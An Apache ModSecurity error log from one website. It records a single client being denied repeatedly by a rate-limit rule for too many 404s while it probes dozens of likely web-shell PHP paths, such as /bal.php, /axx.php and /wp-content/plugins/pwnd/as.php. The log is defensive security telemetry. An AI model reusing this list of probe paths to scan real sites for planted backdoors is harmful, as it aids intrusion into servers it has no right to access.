[Tue Apr 28 06:29:24.791498 2026] [:error] [pid 14686:tid 14704] [client 4.232.90.232:22658] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "ae_jRO-YPF1Xm7uiWQ4zjgAAAM8"]
[Tue Apr 28 06:29:25.726160 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:22706] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bal.php"] [unique_id "ae_jRengo3AwIJgfSHEPFgAAAFQ"]
[Tue Apr 28 06:29:26.402093 2026] [:error] [pid 6746:tid 6764] [client 4.232.90.232:40550] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "ae_jRruStsbXtMDpzS-cXQAAAVA"]
[Tue Apr 28 06:29:27.347348 2026] [:error] [pid 14686:tid 14697] [client 4.232.90.232:14738] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "ae_jR--YPF1Xm7uiWQ4zjwAAAMg"]
[Tue Apr 28 06:29:27.926751 2026] [:error] [pid 56602:tid 56622] [client 4.232.90.232:18126] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "ae_jR_CwhMxzNW_lZSw67gAAARI"]
[Tue Apr 28 06:29:28.708331 2026] [:error] [pid 6746:tid 6766] [client 4.232.90.232:19500] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/in.php"] [unique_id "ae_jSLuStsbXtMDpzS-cYgAAAVI"]
[Tue Apr 28 06:29:29.321942 2026] [:error] [pid 6746:tid 6768] [client 4.232.90.232:13513] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "ae_jSbuStsbXtMDpzS-cZAAAAVQ"]
[Tue Apr 28 06:29:30.002354 2026] [:error] [pid 6746:tid 6762] [client 4.232.90.232:11307] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "ae_jSruStsbXtMDpzS-caAAAAU4"]
[Tue Apr 28 06:29:30.702693 2026] [:error] [pid 14579:tid 14643] [client 4.232.90.232:18145] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "ae_jShrUiOG83qKKuuD1mAAAAIM"]
[Tue Apr 28 06:29:31.354254 2026] [:error] [pid 6746:tid 6750] [client 4.232.90.232:40569] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gssdd.php"] [unique_id "ae_jS7uStsbXtMDpzS-cagAAAUI"]
[Tue Apr 28 06:29:31.960898 2026] [:error] [pid 6746:tid 6753] [client 4.232.90.232:14757] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ae_jS7uStsbXtMDpzS-cbAAAAUU"]
[Tue Apr 28 06:29:32.674728 2026] [:error] [pid 6746:tid 6755] [client 4.232.90.232:19468] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ae_jTLuStsbXtMDpzS-cbQAAAUc"]
[Tue Apr 28 06:29:33.664548 2026] [:error] [pid 6746:tid 6765] [client 4.232.90.232:14778] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ae_jTbuStsbXtMDpzS-cbwAAAVE"]
[Tue Apr 28 06:29:34.208588 2026] [:error] [pid 14578:tid 14630] [client 4.232.90.232:40556] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "ae_jTungo3AwIJgfSHEPJgAAAFE"]
[Tue Apr 28 06:29:34.896559 2026] [:error] [pid 14578:tid 14620] [client 4.232.90.232:13526] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "ae_jTungo3AwIJgfSHEPJwAAAEc"]
[Tue Apr 28 06:29:35.859441 2026] [:error] [pid 6746:tid 6772] [client 4.232.90.232:11305] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "ae_jT7uStsbXtMDpzS-ccAAAAVg"]
[Tue Apr 28 06:29:36.649284 2026] [:error] [pid 14578:tid 14621] [client 4.232.90.232:14759] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "ae_jUOngo3AwIJgfSHEPKgAAAEg"]
[Tue Apr 28 06:29:37.405717 2026] [:error] [pid 14577:tid 14594] [client 4.232.90.232:16021] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "ae_jUSzBH-jwzlgiBdG7CwAAAAg"]
[Tue Apr 28 06:29:38.792334 2026] [:error] [pid 6746:tid 6758] [client 4.232.90.232:11729] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ae_jUruStsbXtMDpzS-cdAAAAUo"]
[Tue Apr 28 06:29:39.817532 2026] [:error] [pid 56602:tid 56623] [client 4.232.90.232:19477] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ae_jU_CwhMxzNW_lZSw6_AAAARM"]
[Tue Apr 28 06:29:40.521985 2026] [:error] [pid 6746:tid 6760] [client 4.232.90.232:22715] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ae_jVLuStsbXtMDpzS-cdgAAAUw"]
[Tue Apr 28 06:29:41.098617 2026] [:error] [pid 6746:tid 6767] [client 4.232.90.232:19512] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ae_jVbuStsbXtMDpzS-cdwAAAVM"]
[Tue Apr 28 06:29:41.861437 2026] [:error] [pid 14578:tid 14615] [client 4.232.90.232:18389] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "ae_jVengo3AwIJgfSHEPLwAAAEI"]
[Tue Apr 28 06:29:42.707847 2026] [:error] [pid 14578:tid 14626] [client 4.232.90.232:41418] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "ae_jVungo3AwIJgfSHEPMwAAAE0"]
[Tue Apr 28 06:29:42.836433 2026] [:error] [pid 6746:tid 6760] [client 4.232.90.232:22715] [client 4.232.90.232] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "45.131.195.158_82aa6a482bd276cff149740478a603a5fe834840"): Internal error (specific information not available) [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ae_jVLuStsbXtMDpzS-cdgAAAUw"]
[Tue Apr 28 06:29:43.273865 2026] [:error] [pid 14578:tid 14620] [client 4.232.90.232:36532] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "ae_jV-ngo3AwIJgfSHEPOgAAAEc"]
[Tue Apr 28 06:29:43.911816 2026] [:error] [pid 14577:tid 14603] [client 4.232.90.232:13034] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "ae_jVyzBH-jwzlgiBdG7EAAAABE"]
[Tue Apr 28 06:29:44.592908 2026] [:error] [pid 6746:tid 6764] [client 4.232.90.232:7288] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "ae_jWLuStsbXtMDpzS-ceQAAAVA"]
[Tue Apr 28 06:29:45.357481 2026] [:error] [pid 14686:tid 14695] [client 4.232.90.232:7280] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "ae_jWe-YPF1Xm7uiWQ4zkgAAAMY"]
[Tue Apr 28 06:29:46.094926 2026] [:error] [pid 14578:tid 14634] [client 4.232.90.232:7247] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "ae_jWungo3AwIJgfSHEPQwAAAFU"]
[Tue Apr 28 06:29:46.681078 2026] [:error] [pid 14578:tid 14627] [client 4.232.90.232:41453] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "ae_jWungo3AwIJgfSHEPRAAAAE4"]
[Tue Apr 28 06:29:47.449324 2026] [:error] [pid 6746:tid 6751] [client 4.232.90.232:36508] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "ae_jW7uStsbXtMDpzS-cfQAAAUM"]
[Tue Apr 28 06:29:48.277581 2026] [:error] [pid 6746:tid 6772] [client 4.232.90.232:13520] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "ae_jXLuStsbXtMDpzS-cfwAAAVg"]
[Tue Apr 28 06:29:49.761323 2026] [:error] [pid 14578:tid 14624] [client 4.232.90.232:40572] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "ae_jXengo3AwIJgfSHEPTgAAAEs"]
[Tue Apr 28 06:29:50.633959 2026] [:error] [pid 14578:tid 14634] [client 4.232.90.232:40561] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "ae_jXungo3AwIJgfSHEPVAAAAFU"]
[Tue Apr 28 06:29:51.846111 2026] [:error] [pid 14578:tid 14631] [client 4.232.90.232:36483] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "ae_jX-ngo3AwIJgfSHEPWgAAAFI"]
[Tue Apr 28 06:29:52.461903 2026] [:error] [pid 14578:tid 14621] [client 4.232.90.232:13558] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "ae_jYOngo3AwIJgfSHEPXQAAAEg"]
[Tue Apr 28 06:29:53.642813 2026] [:error] [pid 14578:tid 14620] [client 4.232.90.232:40568] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "ae_jYengo3AwIJgfSHEPZQAAAEc"]
[Tue Apr 28 06:29:54.460601 2026] [:error] [pid 6746:tid 6749] [client 4.232.90.232:22277] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "ae_jYruStsbXtMDpzS-cgQAAAUE"]
[Tue Apr 28 06:29:55.716589 2026] [:error] [pid 56602:tid 56620] [client 4.232.90.232:22672] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jY_CwhMxzNW_lZSw7FwAAARA"]
[Tue Apr 28 06:29:57.055353 2026] [:error] [pid 6746:tid 6760] [client 4.232.90.232:19578] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jZbuStsbXtMDpzS-chQAAAUw"]
[Tue Apr 28 06:29:58.677316 2026] [:error] [pid 6746:tid 6771] [client 4.232.90.232:19522] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jZruStsbXtMDpzS-ciAAAAVc"]
[Tue Apr 28 06:30:00.020854 2026] [:error] [pid 14579:tid 14657] [client 4.232.90.232:22334] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "ae_jaBrUiOG83qKKuuD1qAAAAJE"]
[Tue Apr 28 06:30:01.277306 2026] [:error] [pid 14579:tid 14658] [client 4.232.90.232:19572] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "ae_jaRrUiOG83qKKuuD1rAAAAJI"]
[Tue Apr 28 06:30:02.624530 2026] [:error] [pid 6746:tid 6751] [client 4.232.90.232:17623] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "ae_jaruStsbXtMDpzS-cjgAAAUM"]
[Tue Apr 28 06:30:03.365410 2026] [:error] [pid 14577:tid 14600] [client 4.232.90.232:17628] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "ae_jayzBH-jwzlgiBdG7GgAAAA4"]
[Tue Apr 28 06:30:04.285888 2026] [:error] [pid 14686:tid 14693] [client 4.232.90.232:22715] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "ae_jbO-YPF1Xm7uiWQ4zmQAAAMQ"]
[Tue Apr 28 06:30:05.192143 2026] [:error] [pid 6746:tid 6758] [client 4.232.90.232:11646] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drykl.php"] [unique_id "ae_jbbuStsbXtMDpzS-ckAAAAUo"]
[Tue Apr 28 06:30:05.798742 2026] [:error] [pid 6746:tid 6749] [client 4.232.90.232:11623] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drykl.php"] [unique_id "ae_jbbuStsbXtMDpzS-ckgAAAUE"]
[Tue Apr 28 06:30:06.670292 2026] [:error] [pid 14578:tid 14624] [client 4.232.90.232:11986] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drykl.php"] [unique_id "ae_jbungo3AwIJgfSHEPdgAAAEs"]
[Tue Apr 28 06:30:07.421765 2026] [:error] [pid 14578:tid 14637] [client 4.232.90.232:26475] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drykl.php"] [unique_id "ae_jb-ngo3AwIJgfSHEPeQAAAFg"]
[Tue Apr 28 06:30:08.187417 2026] [:error] [pid 14578:tid 14622] [client 4.232.90.232:7793] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "ae_jcOngo3AwIJgfSHEPfQAAAEk"]
[Tue Apr 28 06:30:08.777178 2026] [:error] [pid 6746:tid 6762] [client 4.232.90.232:22722] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "ae_jcLuStsbXtMDpzS-ckwAAAU4"]
[Tue Apr 28 06:30:09.605173 2026] [:error] [pid 56602:tid 56604] [client 4.232.90.232:17629] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "ae_jcfCwhMxzNW_lZSw7HwAAAQA"]
[Tue Apr 28 06:30:10.452558 2026] [:error] [pid 14578:tid 14625] [client 4.232.90.232:29775] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xxx.php"] [unique_id "ae_jcungo3AwIJgfSHEPhwAAAEw"]
[Tue Apr 28 06:30:11.603808 2026] [:error] [pid 6746:tid 6764] [client 4.232.90.232:11661] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "ae_jc7uStsbXtMDpzS-clwAAAVA"]
